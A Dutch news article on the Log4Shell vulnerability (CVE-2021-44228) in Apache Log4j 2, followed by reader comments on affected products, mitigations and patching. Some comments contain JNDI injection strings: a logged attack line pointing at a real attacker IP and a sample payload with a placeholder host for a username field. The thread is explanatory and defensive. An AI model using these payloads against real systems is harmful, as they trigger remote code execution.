Ernstige kwetsbaarheid in Apache Log4j 2 kan duizenden organisaties treffen

Er is een ernstige kwetsbaarheid aangetroffen in de veelgebruikte Log4j 2-tool, die gebruikt wordt voor het loggen van Java-applicaties. Het NCSC verwacht op korte termijn exploitcode en misbruik, waardoor duizenden organisaties getroffen kunnen worden.

De kwetsbaarheid in de opensourcetool Apache Log4j 2 maakt het mogelijk voor ongeauthenticeerden om op afstand willekeurige code te injecteren en uit te voeren met de rechten van de betreffende Java-applicatie. De Java-logtool wordt door veel organisaties gebruikt voor onder andere clouddiensten en enterprise-apps. Standaardconfiguraties van Apache-projecten Apache Struts2, Solr, Druid en Flink zijn kwetsbaar door het probleem met Log4j 2.

De kwetsbaarheid heeft de aanduiding CVE-2021-44228 gekregen en staat ook bekend als Log4Shell of LogJam. Volgens het NCSC is er inmiddels proof-of-conceptcode gepubliceerd voor deze kwetsbaarheid en de organisatie verwacht dat op korte termijn exploitcode verschijnt en misbruik plaatsvindt. Volgens het Computer Emergency Response Team van Nieuw-Zeeland wordt er al actief misbruik van gemaakt.

Versies van Log4j 2.0-beta9 tot en met 2.14.1 zijn kwetsbaar. Apache heeft updates uitgebracht om de kwetsbaarheid te verhelpen en bij versie 2.15.0 is het probleem verholpen. Broncodepatches zijn beschikbaar via de Github-pagina van het Log4j-project. Als workaround kunnen beheerders de directive 'log4j2.formatMsgNoLookups' naar 'true' zetten door ‐Dlog4j2.formatMsgNoLookups=True” aan het JVM-commando waarmee de tool wordt gestart toe te voegen.

Reacties (131)

[fishb]

Log4j exploit explained for Dummies (via https://twitter.com/entro...tus/1469606438632833027):

A logger is a piece of software that saves data on a computer. It is used to monitor what is happening, determine if the software runs smoothly, or catch information to help debugging when things go wrong.
It logs a lot of information. When you browse to a website, it will write down what IP address you have, what browser you are using (firefox, chrome, edge... ), when you made the request, what page you accessed... and more!
So, this log4j library is used in A LOT of Java software, and there is approximately 3 billion devices that runs Java. Quick math: that's huge.
Log4j is present in web servers, your phones, possibly on your smart fridge and plenty other places...

A logger is supposed to just write down what happens to a hard drive, or send it to another server to store it. But in the case of log4j, there are a few things that are performed before writing anything.
One of the things it does is look for patterns like ${something} and will try to replace it with another piece of information.
It is used to add context, for example ${date} would be replaced by today's date.
(I have no idea if this example works, it's just to keep it simple)
So when there's a ${jndi: pattern, it will try to replace it.

Except that this pattern triggers another mechanism that loads a resource from another computer, anywhere on the internet, we just have to tell it where to get the data from.

This data can be a malicious software.

Due to some internal Java mechanism, this malicious software is automatically run on the computer that used log4j.
Which means that at this point hackers can make the targeted computer do (almost) whatever they want
This gets really bad because we don't need to know which computer to target.
Remember when I said the web servers logs what browser you use? Well, we can just tell it that our browser is "${jndi: [...]", and if it uses log4j it will trigger the vulnerability.
In real life that would be the same as giving the keys to your house to a random stranger you just saw pass in front of you, without even realizing.

So... yeah. #log4j

[:murb:]

Ik schrijf zelf geen Java code, maar als ik het goed heb begrepen maakt ElasticSearch hier ook gebruik van, en dat zet ik toch regelmatig in: https://www.elastic.co/gu...ence/current/logging.html

[init6]

Behoorlijk wat applicaties gebruiken log4j, vooral als er gebruik gemaakt word van een java/JVM en het is wat oudere code dan zit log4j er vaak nog in. Van wat ik begrepen heb is dergelijk process pas kwetsbaar als er door derden een log event aangemaakt kan worden. Dus heb je een process op een frontend draaien wat in scala/java gemaakt is of misschien kotlin, dan zou ik mij iets meer druk maken dan een systeem wat isolated draait en waar je niet alles 1 op 1 aan doorgeeft zoals vaak bij Elastic het geval is. Kan sowieso geen kwaad om wat aanpassingen te maken.

Ik las hierboven over een Minecraft server, voor de java versie kan je via chat berichten sturen en die worden waarschijnlijk allemaal gelogged en waarschijnlijk is log4j nog steeds in gebruik daar. Resultaat: Je kan code uitvoeren.

Heb je een elasticsearch cluster en je hebt er iets voor staan (bijvoorbeeld een dashboard service wat ervoor draait) wat de input van gebruikers sanitised, dan is het waarschijnlijk niet een enorme zorg. Kunnen jouw gebruikers die je niet vertrouwd bij het systeem indices of documents aanmaken, tja dan zou ik mij wat meer zorgen aanmaken.
Ik zou iig voor alle zekerheid alle java processen reloaden met een flag:

-Dlog4j2.formatMsgNoLookups=true

[djwice]

Behoorlijk wat applicaties gebruiken log4j, vooral als er gebruik gemaakt word van een java/JVM en het is wat oudere code dan zit log4j er vaak nog in.

Wat gebruikt nieuwere code i.p.v. log4j?

[supersnathan94]

Nieuwere code gebruikt (als het goed is) al een abstractielaag zoals Slf4j (simple logging framework for java), dan hoef je onder water alleen een adapter en de daadwerkelijke library te vervangen als zoiets gebeurt. Sure misschien je configuratie even omzetten (zodat het andere framework er wat mee kan), maar dat is het dan ook wel.

Daaronder gebruik ik dan vaak weer logback, wat de opvolger is van Log4j 2, maar daar geen code mee deelt die deze kwetsbaarheid heeft.

[djwice]

SLF4J lijkt heel erg op hoe dat in javascript werkt met console.log / .info etc.
Klopt dat, is dat het zelfde type interface?

(ja ik weet java is iets heel anders dan javascript , vroeg me gewoon af, als iemand NodeJS op z'n server gebruikt en ook java applicaties heeft, hoe de logs dan makkelijk in hetzelfde formaat te krijgen)

[Yoghurt114]

logback

[supersnathan94]

Het helpt ook al enorm als je egress naar het internet blokkeert op bijvoorbeeld elasticsearch. De payload kan dan niet opgehaald worden. Bij default dus al een goede manier om dit soort dingen vooraf af te dekken. Er kan dan alleen gelezen of geschreven worden door applicaties in je subnet en niet door externe bronnen.

Cloudflare heeft hier ook al WAF rules voor toegevoegd zodat requestlogging de boel niet alsnog om zeep helpt door requests waar iemand een parameter achter plakt. Als je die aanzet worden dergelijke requests niet doorgelaten.

[harakiri576]

log4j v1 is niet kwetsbaar, alleen log4j2.

[Regn0]

Het klopt dat Log4J v1 niet kwetsbaar is voor deze vulnerability.
Toch zou ik uitkijken dit zo te verwoorden, Log4J v1 is namelijk wel vulnerable door andere redenen:

https://logging.apache.org/log4j/1.2/

https://www.cvedetails.com/cve/CVE-2019-17571/

[harakiri576]

niet te vergelijken met deze kwetsbaarheid. onder normaal gebruik kan die niet ge-exploit'd, terwijl dit wel.

[ChillinR]

waarschijnlijk is log4j nog steeds in gebruik daar

Impliceert dit dat er een nieuwere techniek is die populair (aan het worden) is? Zo ja, welke?

[Jaded]

Elasticsearch is niet vulnerable:

Elasticsearch is not susceptible to remote code execution with this vulnerability due to our use of the Java Security Manager, however we are making a fix available for an information leakage attack also associated with this vulnerability. Additional details below.

bron:
https://discuss.elastic.c...-44228-esa-2021-31/291476

[MadEgg]

Klopt, gisteren hebben we ES hierop gepatched. Was wel even een dingetje, deze vulnerability. Maar de afgelopen dagen is alles gepatched dus de storm is alweer zo’n beetje voorbij waar ik werk.

[closefuture]

Afgelopen dagen? Weet je zeker dat je het over het zelfde hebt?

De Tweet die dit allemaal in gang zetten is van gisteren: https://twitter.com/P0rZ9/status/1468949890571337731

[MadEgg]

De CVE is aangemaakt op 26 november: https://cve.mitre.org/cgi...e.cgi?name=CVE-2021-44228

Bij het bedrijf waar ik voor werk is het proces nu ruim een week geleden in gang gezet.

[closefuture]

Ik vraag me sterk af of dat wat er een week geleden in die CVE stond want er wordt gerefereerd aan versie 2.15.0 in de CVE. Die versie is vandaag gemaakt.

[MadEgg]

Ja, daarmee is de bron aangepakt. `-Dlog4j2.formatMsgNoLookups=true` toepassen kon al voor de fix.

[Bor]

Er stond voor zover ik kan zien vrijwel niets in. Ik zie alleen het vastleggen van het nummer.

[wica]

Commit is al van 9 dagen geleden.

[Reactie gewijzigd door wica op 22 juli 2024 13:41]

[DDX]

Welke versie/patch is er van ES hiervoor ?
Als ik bij elasticsearch kijk zie ik zo snel geen referenties naar CVE-2021-44228

[johnydoe]

Volgens mij bedoelt @MadEgg niet zozeer ES upgraden, dan wel de workaround toepassen (-Dlog4j2.formatMsgNoLookups=true). Althans, volgens mij is er nog geen enkele communicatie geweest vanuit ES, niet om het issue te erkennen noch om een nieuwe versie met patch aan te kondigen.
Als enterprise search gebruiker zit ik met smart te wachten op een reactie van ze

Edit: er is op het discussie forum wel een topic gemaakt met de vraag om een reactie, maar tot dusver niks https://discuss.elastic.c...ticsearch-affected/291415

[Reactie gewijzigd door johnydoe op 22 juli 2024 13:41]

[MadEgg]

Klopt, dat inderdaad. `-Dlog4j2.formatMsgNoLookups=true` all over the place.

[satya]

Dit is wel de best bruikbare reactie, bij ons hangt het achter Graylog en wij kunnen niet opdaten.

Search on your host which version are used by Elasticsearch mine is log4j-api-2.11.1.jar what are locate to : /usr/share/Elasticsearch/lib/log4j-api-2.11.1.jar

You can add this : -Dlog4j2.formatMsgNoLookups=true

At the end of /etc/Elasticsearch/jvm.options file, for waiting update to 2.15.0 of log4j2

[orvintax]

ElasticSearch is ook slachtoffer ja.

[satya]

Volgens hun zelf niet als gevolg van hun setup.

https://discuss.elastic.c...-44228-esa-2021-31/291476

[Razesdark]

Yup. SOLR ook o.a.

[pasz]

Jip. En Solr ook.

[nicenemo]

Logstash ook. Maar vanaf een specifieke Java 8 u121 versie lukt de hack niet meer. Recente versies van Elasticsearch en Logstash draaien standaard met bijgeleverde versie 11.
Tenzij je anders instelt
Kibana is NodeJS en de beats zijn Go gebaseerd.

Ik doe ook wel eens wat met de Elastic stack.

[Zidane007nl]

Dit is wel een heftige kwetsbaarheid in een veel gebruikt log framework in de Java wereld. Ik snap niet dat deze 'feature' standaard aan stond.

De CVE heeft inmiddels een score van 10 gekregen. 😱
Alle versies van log4j2 zijn kwetsbaar. Vanaf 2.10.0 kan je als workaround formatMsgNoLookups=true gebruiken. In 2.15.0 de standaard geworden.

Ook maakt het nog uit welke Java versie je gebruikt. In JDK versies groter dan 6u211, 7u201, 8u191 en 11.0.1 staat com.sun.jndi.ldap.object.trustURLCodebase op false en laad JNDI de code niet in.
Maar ik denk dat veel grote bedrijven hun JDK niet regelmatig bijwerken.

Updaten is het beste.

[Reactie gewijzigd door Zidane007nl op 22 juli 2024 13:41]

[[Yellow]]

In je .profile kun je default Java opties opgeven:

export JAVA_TOOL_OPTIONS=-Dsun.locale.formatasdefault=true

[Reactie gewijzigd door [Yellow] op 22 juli 2024 13:41]

[clueless12]

Alleen heel oude java versies gaan mis. Dus zelfs bedrijven zullen daar wel bij genoeg zijn. Maar dit is alleen als de exploit class opgehaald moet worden. Waarschijnlijk is het ook mogelijk via BeanFactory om hetzelfde effect maar dan lokaal voor elkaar te krijgen. Moet ik nog even proberen.
Dus ook al heb je een nieuwe java versie dan nog is het een groot risico.
Als een dolle updaten is toch wel de weg te gaan.

Ik ben klaar

[Reactie gewijzigd door clueless12 op 22 juli 2024 13:41]

[ISaFeeliN]

Leuk, ik kwam deze al tegen in mijn logs:

195.251.41.139 vhost.tld.org 1.2.3.4 - - [11/Dec/2021:09:35:28 +0100] "GET / HTTP/1.1" 301 236 "-" "/${jndi:ldap://45.130.229.168:1389/Exploit}" 132 429 0 208

Wie ziet wat -knip- doet?

root@smurfer:/home/admin# file Exploit
Exploit: data
root@smurfer:/home/admin# strings Exploit
1.3.6.1.4.1.1466.20036

[Reactie gewijzigd door Bor op 22 juli 2024 13:41]

[paradoXical]

Ook al wat entries in mijn logfiles.

[satya]

Geen idee, maar mallwarebytes geeft hier aan dat het een onveilige locatie is.

[3raser]

Wel fijn dat je zulk soort discutabele URL's gewoon klikbaar in de comments gooit. Wie weet welke rotzooi ik allemaal binnen haal als ik daarop klik.

[Reactie gewijzigd door 3raser op 22 juli 2024 13:41]

[jochem4207]

Je gaat daar toch ook niet op klikken? Tis niet slim nee maar toch

[closefuture]

Kort gezegd hoef je enkel een bericht als `${jndi:ldap://fooserver.com/foo.class}` in iemands log te krijgen en de code word gedownload en daarna uitgevoerd.

Persoonlijk was het voor mij nogal een verassing dat Log4J2 uberhaupt support had voor String interpolation die je instaat stelde om dingen in de JNDI context te doen. Waarom core Log4j support moet hebben daarvoor is beyond me. Via een plugin-in, ok maar dergelijke complexe functionaliteit die door (minimaal) 95% van de mensen niet gebruikt word met zo'n groot aanvalsoppervlak vind ik behoorlijk onhandig.

Logging moet tot een bepaalde hoogte ook gewoon saai zijn. Support voor JNDI in log strings is bepaalt niet saai te noemen.

Overigens treft dit een heleboel (grote) partijen waaronder Apple. Hier staan een aantal screenshots van bijvoorbeeld de iCloud login waar een aanval op de kwetsbaarheid gedaan word door simpelweg zoiets als `${jndi:ldap://fooserver.com/foo.class}` in te vullen in het username veld.

[Reactie gewijzigd door closefuture op 22 juli 2024 13:41]

[dorkquemada]

Dat en dat ze deze feature standaard aan hebben laten staan

[Eonfge]

Officiële bekendmaking hier:
https://www.lunasec.io/docs/blog/log4j-zero-day/

Dat was wel apart wakker worden vanochtend. Ondertussen alles gedaan was nodig was, en gelukkig heb ik niet hoeven ingrijpen omdat Logback e.d. niet vatbaar zijn voor deze aanval.

Ook belangrijk, het volgende citaat:

Updates (3 hours after posting): According to this blog post (in english), JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. In these versions com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load a remote codebase using LDAP.

However, there are other attack vectors targeting this vulnerability which can result in RCE. Depending on what code is present on the server, an attacker could leverage this existing code to execute a payload. An attack targeting the class org.apache.naming.factory.BeanFactory, present on Apache Tomcat servers, is discussed in this blog post.

[closefuture]

Officiële bekendmaking hier:

Dat is niet de officiele bekendmaking. Een officiele bekendmaking zou moeten komen van de maintainers van het Apache Log4j2 project. Los van een fix hebben die nog een officiele bekendmaking gedaan voor zover ik weet.

[dorkquemada]

Je hebt gelijk, dat was wel de meest gequote bron over dit issue zo'n beetje.
Volgens mij heeft het project hier een bekendmaking gedaan: https://logging.apache.org/log4j/2.x/security.html

[jj71]

Log4J2 is niet een aparte tool, maar een library die je gebruikt in Java-applicaties.

Als workaround kunnen beheerders de directive 'log4j2.formatMsgNoLookups' naar 'true' zetten door ‐Dlog4j2.formatMsgNoLookups=True” aan het JVM-commando waarmee de tool wordt gestart toe te voegen.

Dit klopt dus niet helemaal: je moet dat niet meegeven aan een "commando om de tool te starten" maar aan het commando wat wordt gebruikt om je Java-applicatie, die gebruik maakt van de Log4J2 library, te starten.

[fishb]

Wat een lijst met grote vendors: https://gist.github.com/S...06c2955a9cb71a8718970c592

[PeterdeBruin]

@Olaf Hier staat stond "maakt het mogelijk om willekeurige code te injecteren en uit te voeren met de rechten van de webserver".
Maar deze kwetsbaarheid betreft helemaal niet de webserver, althans niet de populaire Apache webserver (Apache HTTP server).
Log4j is een Java-module, en Apache HTTP server is niet geschreven in Java.
De kwetsbaarheid maakt het mogelijk om willekeurige code te injecteren en uit te voeren met de rechten van de betreffende Java-applicatie.

[Reactie gewijzigd door PeterdeBruin op 22 juli 2024 13:41]

[frickY]

De Tweakers die echt snappen wat er aan de hand is hebben wellicht even geen tijd om op nieuwsberichten te reageren

[brinksmedia]

true, net klaar met alle lekken dichten en patchen

[ahendriks]

haha... kan je vandaag opnieuw beginnen ... log4j2 v2.16.0 is nu uitgekomen... CVE score van 2.15.0 is nog niet bekend... maar wellicht verstandig om meteen door te pakken en wederom alles te patchen.

[brinksmedia]

haha iknow. even in een hoekje huilen